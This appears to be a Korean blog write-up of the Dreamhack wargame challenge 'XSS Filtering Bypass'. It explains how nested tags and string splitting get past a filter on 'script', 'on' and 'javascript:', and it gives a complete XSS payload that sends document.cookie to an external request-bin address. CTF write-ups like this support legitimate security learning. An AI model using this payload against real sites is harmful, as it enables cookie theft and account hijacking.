-
Dreamhack - XSS Filtering Bypasswargame/Dreamhack 2025. 4. 21. 22:09
[LEVEL 1 - XSS Filtering Bypass - web]
XSS Filtering한 걸 우회하는 웹해킹 문제이다.
문제 환경에 접속하면 위와 같이 나온다.
문제 파일을 다운로드 받고 app.py를 열어보았는데 주목해야 하는 부분은 위의 xss_filter 함수이다.
문자열 script랑 on이랑 javascript:를 필터링하고 있다.
/flag 엔드포인트로 가보면 위와 같이 나오는데, 여기서 페이로드를 작성해야 한다.
앞서 살펴본 필터링 문자열을 우회하기 위해 script 태그는 script 사이에 script를 끼워넣어서 중간꺼만 ""로 바뀌게 해서 최종적으로 script가 되도록 해야 한다.
location은 "on"에 필터링이 되면 안되므로 "locatio"과 "n"으로 쪼개야 한다.
그러면 사용해야할 페이로드는 아래와 같다.
<scriscriptpt>document["locatio"+"n"].href="여기에 드림핵 request bin 주소/?flag="+document.cookie;</scriscriptpt>
위 코드에 드림핵에서 제공하는 request bin 원격 서버 주소로 바꾸고 사용하면 된다.
이제 위와 같이 플래그값을 볼 수 있다.
플래그를 획득했다!
'wargame > Dreamhack' 카테고리의 다른 글
Dreamhack - command-injection-chatgpt (0) 2025.04.27 Dreamhack - simple_sqli_chatgpt (0) 2025.04.21 Dreamhack - [wargame.kr] tmitter (0) 2025.04.13 Dreamhack - [wargame.kr] login filtering (1) 2025.04.13 Dreamhack - [wargame.kr] type confusion (0) 2025.03.17